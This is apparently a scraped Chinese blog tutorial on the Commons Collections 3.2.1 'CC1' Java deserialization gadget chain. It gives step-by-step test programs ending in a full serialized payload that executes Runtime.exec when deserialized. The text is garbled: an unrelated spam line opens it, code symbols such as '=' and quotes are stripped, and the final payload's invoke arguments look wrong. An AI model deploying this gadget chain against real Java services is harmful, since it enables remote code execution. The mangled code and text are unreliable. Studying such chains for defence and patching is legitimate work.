网站视频上传怎么做,在线网页截图,博客网站开发报告,商务网站建设的一般流程图Commons Collections简介
Commons Collections是Apache软件基金会的一个开源项目#xff0c;它提供了一组可复用的数据结构和算法的实现#xff0c;旨在扩展和增强Java集合框架#xff0c;以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队…Commons Collections简介
Commons Collections是Apache软件基金会的一个开源项目它提供了一组可复用的数据结构和算法的实现旨在扩展和增强Java集合框架以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现以及许多实用程序类和算法实现。它的代码质量较高被广泛应用于Java应用程序开发中。
Commons Collections 3.1 版本的利用链衍生出多个版本的利用方式但其核心部分是相同的不同之处在于中间过程的构造。Ysoserial 反序列化利用工具中提供了几种利用方式 本文分析Commons Collections3.2.1版本下的一条最好用的反序列化漏洞链这条攻击链被称为CC1链。
此包的类包含下面两个需要重点关注 Map Commons Collections在java.util.Map的基础上扩展了很多接口和类比较有代表性的是BidiMap、MultiMap和LazyMap。跟Bag和Buffer类似Commons Collections也提供了一个MapUtils。 所谓BidiMap直译就是双向Map可以通过key找到value也可以通过value找到key这在我们日常的代码-名称匹配的时候很方便因为我们除了需要通过代码找到名称之外往往也需要处理用户输入的名称然后获取其代码。需要注意的是BidiMap当中不光key不能重复value也不可以。 所谓MultiMap就是说一个key不再是简单的指向一个对象而是一组对象add()和remove()的时候跟普通的Map无异只是在get()时返回一个Collection利用MultiMap我们就可以很方便的往一个key上放数量不定的对象也就实现了一对多。 所谓LazyMap意思就是这个Map中的键/值对一开始并不存在当被调用到时才创建。 https://www.iteye.com/blog/duohuoteng-1630329 Transformer 我们有时候需要将某个对象转换成另一个对象供另一组方法调用而这两类对象的类型有可能并不是出于同一个继承体系的或者说出了很基本的Object之外没有共同的父类或者我们根本不关心他们是不是有其他继承关系甚至就是同一个类的实例只是对我们而言无所谓我们为了它能够被后续的调用者有意义的识别和处理在这样的情形我们就可以利用Transformer。除了基本的转型Transformer之外Commons Collections还提供了Transformer链和带条件的Transformer使得我们很方便的组装出有意义的转型逻辑。 https://blog.csdn.net/liliugen/article/details/83298363 环境搭建
由于存在漏洞的版本 commons-collections3.1-3.2.1
jdk 8u71之后已修复不可用
这里下载JDK-8u65
https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
下载安装接下来就是配置到IDEA里面:
新建一个maven项目-项目JDK-添加JDK找到我们刚安装的jdk-8u65 然后配置Maven依赖下载CommonsCollections3.2.1版本
dependencies
!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --
dependency
groupIdcommons-collections/groupId
artifactIdcommons-collections/artifactId
version3.2.1/version
/dependency
/dependencies由于我们分析时要涉及的jdk源码所以要把jdk的源码也下载下来方便我们分析。
下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4 点击左下角的zip即可下载然后解压。再进入到相应JDK的文件夹中里面本来就有个src.zip的压缩包将其解压然后把刚刚下载的源码包(jdk-af660750b2f4.zip)中/src/share/classes下的sun文件夹拷贝到src文件夹中去。 打开IDEA选择文件 —项目结构 —SDK —源路径 —把src文件夹添加到源路径下保存即可。 然后我们去sun包里面看一下代码不再显示.class 这样环境就配置完了。
反序列化分析 我们利用反序列化漏洞的方法一般是寻找到某个带有危险方法的类然后溯源看看哪个类中的方法有调用危险方法(有点像套娃这个类中的某个方法调用了下个类中的某个方法一步步套下去)并且继承了序列化接口然后再依次向上回溯直到找到一个重写了readObject方法的类并且符合条件那么这个就是起始类我们可以利用这个类一步步的调用到危险方法(这里以**“Runtime中的exec方法为例”**)这就是大致的Java漏洞链流程。 源头
CC1链的源头就是Commons Collections库中的Tranformer接口这个接口里面有个transform方法 然后就是寻找继承了这个接口的类 :ctrlaltb 可以看到有很多类我们这里找到了有重写transform方法的InvokerTransformer类并且可以看到它也继承了Serializable,很符合我们的要求。 InvokerTransformer.transform()
定位到InvokerTransformer的transform方法 //重写的transform方法
public Object transform(Object input) { //接收一个对象if (input null) {return null;}try {Class cls input.getClass(); //可控的获取一个完整类的原型Method method cls.getMethod(iMethodName, iParamTypes); //可控的获取该类的某个特定方法return method.invoke(input, iArgs); //调用该类的方法//可以看到这里相当于是调用了我们熟悉的反射机制来返回某个方法的利用值这就是明显的利用点......可以看到transform方法接受一个对象不为空时就会进行通过反射机制动态地调用对象的特定方法。
而iMethodName、iParamTypes、iArgs这几个参数都是通过构造函数控制的并且为public //含参构造器我们在外部调用类时需要用到
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { //参数为方法名所调用方法的参数类型所调用方法的参数值super();iMethodName methodName;iParamTypes paramTypes;iArgs args;
}因为这些参数我们都可以控制也就是说我们可以通过InvokerTransformer.transform()方法来调用任意类的任意方法比如弹一个计算器
测试代码1
/* 利用反射调用Runtime中的exec方法Runtime rRuntime.getRuntime();Class cr.getClass();Method mc.getMethod(exec, String.class);m.invoke(r,calc);*/Runtime rRuntime.getRuntime();
InvokerTransformer invokerTransformernew InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc}); //方法名为exec参数类型为String参数值为calc
invokerTransformer.transform(r);#其实就是相当于通过transform方法来实现了我们最基本的反射过程。可以看到成功执行了命令那么我们就找到了源头利用点了接下来就是一步步回溯寻找合适的子类构造漏洞链直到到达重写了readObject的类(没有的话就寄了)。
寻找某个类中的某个方法调用了transform方法直接对这个方法右键查找用法(altF7)可以看到有很多都调用了这个方法 TransformedMap.checkSetValue()
这里我们直接来到TransformedMap类下的checkSetValue方法 我们同样来看一下TransformedMap这个类的构造方法和checkSetValue方法
//构造方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {//接受三个参数第一个为Map,我们可以传入HashMap,第二个和第三个就是Transformer我们需要的了可控。super(map);this.keyTransformer keyTransformer;this.valueTransformer valueTransformer; //这里是可控的}protected Object checkSetValue(Object value) { //接受一个对象类型的参数return valueTransformer.transform(value);//返回valueTransformer对应的transform方法
}可以看到我们只需要让valueTransformer等于我们之前的invokerTransformer对象就又可以通过它来实现调用任意类的任意方法了。
但是这里有个问题可以看到构造函数和方法都是protected权限的也就是说只有在同一个包中才可以调用不能外部调用去实例化那么我们就需要找到内部实例化的工具这里往上查找可以找到一个public的静态方法decorate
TransformedMap.decorate()
很明显该静态方法实例化了 TransformedMap对象并且还是public方法我们可以直接调用。 因此我们可以通过TransformedMap.decorate()方法来调用任意类的任意方法比如修改之前的代码弹一个计算器
测试代码2
//invokerTransformer就是上个payload的 invokerTransformer没有变。
Runtime rRuntime.getRuntime();
InvokerTransformer invokerTransformernew InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc});
//invokerTransformer.transform(r);HashMapObject,Object mapnew HashMap(); //这个直接实例化一个HashMapMapObject,Object decorateMapTransformedMap.decorate(map,null,invokerTransformer);
//静态方法staic修饰直接类名方法名调用
//把map当成参数传入然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformerClass transformedMapClass TransformedMap.class; //TransformedMap.class返回TransformedMap类的Class对象。我们可以使用这个Class对象来访问和操作TransformedMap类的相关信息。Method checkSetValueMethod transformedMapClass.getDeclaredMethod(checkSetValue, Object.class); //使用transformedMapClass对象来获取TransformedMap类的checkSetValue方法。checkSetValueMethod.setAccessible(true); //因为checkSetValue是peotected所以需要使用 setAccessible(true)改变其作用域这样即使私有的方法也可以访问调用了checkSetValueMethod.invoke(decorateMap,r); //invoke执行Method.invoke()方法接受两个参数1、调用方法的对象实例2、要传递给方法的参数接下来我们就是要找哪里调用了 decorate 方法但是并没有找到合适的所以我们把目光再放回之前的 checkSetValue 方法去找哪里调用了该方法。
这里我们同样查找用法(AltF7)发现只有一个地方调用了checkSetValue方法AbstractInputCheckedMapDecorator类的setValue AbstractInputCheckedMapDecorator-MapEntry.setValue()
现在我们关注 TransformedMap 父类 AbstractInputCheckedMapDecorator 内部的子类 MapEntry 中的setValue方法。 Entry代表的是Map中的一个键值对而在Map中我们可以看到有setValue方法我们在对Map进行遍历的时候可以调用setValue这个方法 不过上面MapEntry类实际上是重写了setValue方法它继承了AbstractMapEntryDecorator这个类这个类中存在setValue方法 而这个类又引入了Map.Entry接口所以我们只需要进行常用的Map遍历就可以调用setValue方法,然后水到渠成地调用checkSetValue方法
测试代码3
Runtime r Runtime.getRuntime();
InvokerTransformer invokerTransformer new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc});
//invokerTransformer.transform(r);HashMapObject, Object map new HashMap(); //这个直接实例化一个HashMapmap.put(key,value); //给map一个键值对方便遍历MapObject,Object decorateMapTransformedMap.decorate(map,null,invokerTransformer);//用于遍历 decorateMap 中的每个 Entry 对象。在每次迭代中将当前的 Entry 对象赋值给变量 entry。每个 Entry 对象表示一个键值对其中包括键和对应的值。
for(Map.Entry entry:decorateMap.entrySet()) { //decorateMap 是一个 Map 对象entrySet() 方法返回一个包含 Map 中键值对Entry的集合。entry.setValue(r); //调用setValue方法设置该 Entry 对象的值为 r}decorateMap 之前的东西和之前都一样不再讲述区别是我们这里遍历了 decorateMap 来触发 setValue 。注意 map.put(“key”,“value”) 要不然map里面没东西后面进不去for循环
decorateMap 是 TransformedMap 类的该类没有再实现 entrySet 方法所以会调用父类的 entrySet 方法。故在for 循环时会进入如下方法 首先进行判断如果判断通过的话就会返回一个 EntrySet 的实例而我们的 isSetValueChecking() 是恒返回true的所以也就无所谓直接返回实例。 所以我们的 entry 在这里也是来自 AbstractInputCheckedMapDecorator 类的所以后面才可以调到 setValue 方法。效果如下 再来梳理一边这个过程: 首先我们找到了TransformedMap这个类我们想要调用其中的checkSetValue方法但是这个类的构造器是peotected权限只能类中访问所以我们调用decorate方法来实例化这个类在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对然后把这个map当成参数传入实例化成了一个decorateMap对象这个对象也是Map类型的然后我们对这个对象进行遍历在遍历过程中我们可以调用setValue方法而恰好又遇到了一个重写了setValue的MapEntry副类这个重写的方法刚好调用了checkSetValue方法这样就形成了一个闭环 这里我们又找到了一个 setValue 方法我们可以继续向上查找看看有哪些方法里面调用了setValue并且可以被我们所利用 继续构造我们的链条。
这里看到了AnnotationInvocationHandler这个类看到有个调用了setValue方法的readObject方法很完美的实现了代替之前Map遍历功能 AnnotationInvocationHandler.readObject()
这里我们找到了 AnnotationInvocationHandler 中的 readObject 方法 先来解释一下这段代码
//这是一个私有方法用于反序列化对象。它接受一个 ObjectInputStream 类型的参数 s用于读取对象的序列化数据。
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();//使用 ObjectInputStream 的 defaultReadObject() 方法从输入流中读取对象的默认数据。这是为了保证默认的反序列化行为。// Check to make sure that types have not evolved incompatibly//这是一个自定义的类型用于表示注解类型。AnnotationType annotationType null;try {annotationType AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException(Non-annotation type in annotation serial stream);}MapString, Class? memberTypes annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.//使用 for 循环遍历 memberValues.entrySet()将每个键值对赋值给memberValuefor (Map.EntryString, Object memberValue : memberValues.entrySet()) {String name memberValue.getKey();//根据成员名从 memberTypes 中获取对应的成员类型。Class? memberType memberTypes.get(name);if (memberType ! null) { // i.e. member still exists//获取当前循环迭代的值成员值。Object value memberValue.getValue();//判断成员值是否与成员类型兼容if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {//如果成员值不兼容将会创建一个新的 AnnotationTypeMismatchExceptionProxy 对象并将其设置为对应的成员值。 memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() [ value ]).setMember(annotationType.members().get(name)));}}可以看到这里再调用setValue前面还要经过两个判断。
我们看一下 memberValue 是怎么传入的这里定位到构造函数 可以看到memberValue是可控的我们只需要在构造时把 memberValue 传给他就行了但是这个构造函数的修饰符是默认的
我们知道在 Java 中如果在构造函数的定义中没有指定修饰符如 public、private、protected 或者默认的包级私有那么该构造函数将具有默认的包级私有访问修饰符。默认的包级私有访问修饰符意味着该构造函数可以在同一个包中的其他类中访问和调用但在不同包中的类中是不可见的。
也就是说这个类只能在sun.reflect.annotation这个包下被调用我们要想在外部调用需要用到反射来解决。
结合前面 我们可以再次写出利用代码
测试代码4
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class Cc1 {public static void main(String[] args) throws Exception {Runtime r Runtime.getRuntime();InvokerTransformer invokerTransformer new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc});//invokerTransformer.transform(r);HashMapObject, Object map new HashMap(); //这个直接实例化一个HashMapmap.put(key, value); //给map一个键值对方便遍历MapObject, Object decorateMap TransformedMap.decorate(map, null, invokerTransformer);//反射获取AnnotationInvocationHandler类Class clazz Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);//getDeclaredConstructor() 获取当前类的构造方法包括private protected和public。Constructor constructor clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true); //改变其作用域Object obj constructor.newInstance(Override.class, decorateMap); //创建该类的实例这里第一个参数是注解的类原型第二个就是我们之前的类serialize(obj); //序列化unserialize(C://java/CC1.ser); //反序列化}//定义序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(C://java/CC1.ser));oos.writeObject(object);}//定义反序列化方法public static void unserialize(String filename) throws Exception {ObjectInputStream objectInputStream new ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();}
}运行然而无事发生并没有我们想象中的弹框 问题1
调试看看断点设在AnnotationInvocationHandler.readObject()之前说的两个判断处 调试运行
这里我们直接就跳到了最下面很显然if循环没有进去这里判断memberType但是我们的 memberType正好为空。 memberType 来自 memberTypes , memberTypes 来自 annotationType annotationType 来自 type annotationType AnnotationType.getInstance(type); 而 type 来自我们传入构造方法的参数 我们这里的要求传入的注解参数是要求有成员变量的并且成员变量要和 map 里面的 key 对的上。 ! (memberType.isInstance(value) 但是我们之前使用的Override注解没有成员变量所以不行 这里我们找到了SuppressWarnings注解该注解有一个成员变量 于是修改我们的代码如下其实就修改了两行 问题2
改完之后运行结果报错 找不到exec方法
runtime方法并没有被调用到 同时readObject 方法里面 setValue 的参数的实例居然是写死的根本没用办法利用 解决无法传入runtime的问题 ConstantTransformer类 该方法的构造函数会将传入的对象给到iConstant该类的 transform 方法无论传入的什么对象都会返回iConstant 。 但是我们并没有办法将ConstantTransformer的实例传递给TransformedMap或者说没有办法建立 ConstantTransformer和InvokerTransformer之间的包含关系。于是我们又来到了 ChainedTransformer 类。
ChainedTransformer类
ChainedTransformer 类的 transform 方法 上述代码的意思是如果给 ChainedTransformer 的属性 iTransformers 赋值为 ConstantTransformer 对象的话则可以直接调用到ConstantTransformer的transform方法如果赋值为 InvokerTransformer 对象的话则可以直接调用到 InvokerTransformer 的 transform 方 法则此时便有了一个关联关系将 Runtime 对象通过 ConstantTransformer 进行赋值然后就可以在构造链中得到 Runtime 对象了。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class Cc1 {public static void main(String[] args) throws Exception {//Runtime r Runtime.getRuntime();//InvokerTransformer invokerTransformer new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc});//invokerTransformer.transform(r);Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class) //Runtime没有serializable接口,不能被反序列化我们需要用它的原型类class};ChainedTransformer chainedTransformer newChainedTransformer(transformers);HashMapObject, Object map new HashMap(); //这个直接实例化一个HashMapmap.put(value, value); //给map一个键值对方便遍历MapObject, Object decorateMap TransformedMap.decorate(map, null, chainedTransformer);//反射获取AnnotationInvocationHandler类Class clazz Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);//getDeclaredConstructor() 获取当前类的构造方法包括private protected和public。Constructor constructor clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true); //改变其作用域Object obj constructor.newInstance(SuppressWarnings.class, decorateMap); //创建该类的实例这里第一个是参数是注解的类原型第二个就是我们之前的类serialize(obj); //序列化unserialize(C://Users/yokan/Desktop/code/java/CC1.ser); //反序列化}//定义序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(C://Users/yokan/Desktop/code/java/CC1.ser));oos.writeObject(object);}//定义反序列化方法public static void unserialize(String filename) throws Exception {ObjectInputStream objectInputStream new ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();}
}但是此时我们只穿入了 Runtime 对象之前的 InvokerTransformer 没有传进来不过这个事情也是简单的因为 InvokerTransformer类 我们需要的方法也是 transform ,都是一个名字所以他们是兼容的再结合 ChainedTransformer 的 transform 的特点上一次调用的对象是下次参数: 因此我们得到如下payload
测试代码5
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class Cc1 {public static void main(String[] args) throws Exception {//Runtime r Runtime.getRuntime();//InvokerTransformer invokerTransformer new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc});//invokerTransformer.transform(r);//创建一个Transformer数组用于储存InvokerTransformer的数据便于遍历Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class),//Runtime没有serializable接口,不能被反序列化我们需要用它的原型类classnew InvokerTransformer(getMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime,null}),new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{getRuntime,null}),new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc}),};ChainedTransformer chainedTransformer new ChainedTransformer(transformers);HashMapObject, Object map new HashMap(); //这个直接实例化一个HashMapmap.put(value, value); //给map一个键值对方便遍历MapObject, Object decorateMap TransformedMap.decorate(map, null, chainedTransformer);//反射获取AnnotationInvocationHandler类Class clazz Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);//getDeclaredConstructor() 获取当前类的构造方法包括private protected和public。Constructor constructor clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true); //改变其作用域Object obj constructor.newInstance(SuppressWarnings.class, decorateMap); //创建该类的实例这里第一个是参数是注解的类原型第二个就是我们之前的类serialize(obj); //序列化unserialize(C://Users/yokan/Desktop/code/java/CC1.ser); //反序列化}//定义序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(C://Users/yokan/Desktop/code/java/CC1.ser));oos.writeObject(object);}//定义反序列化方法public static void unserialize(String filename) throws Exception {ObjectInputStream objectInputStream new ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();}
}最后成功弹出来计算器: 总结
经过上面的步骤我们可以得到如下的调用链
ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map().setValue()TransformedMap.decorate()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()参考
https://xz.aliyun.com/t/12669
https://www.secpulse.com/archives/188750.html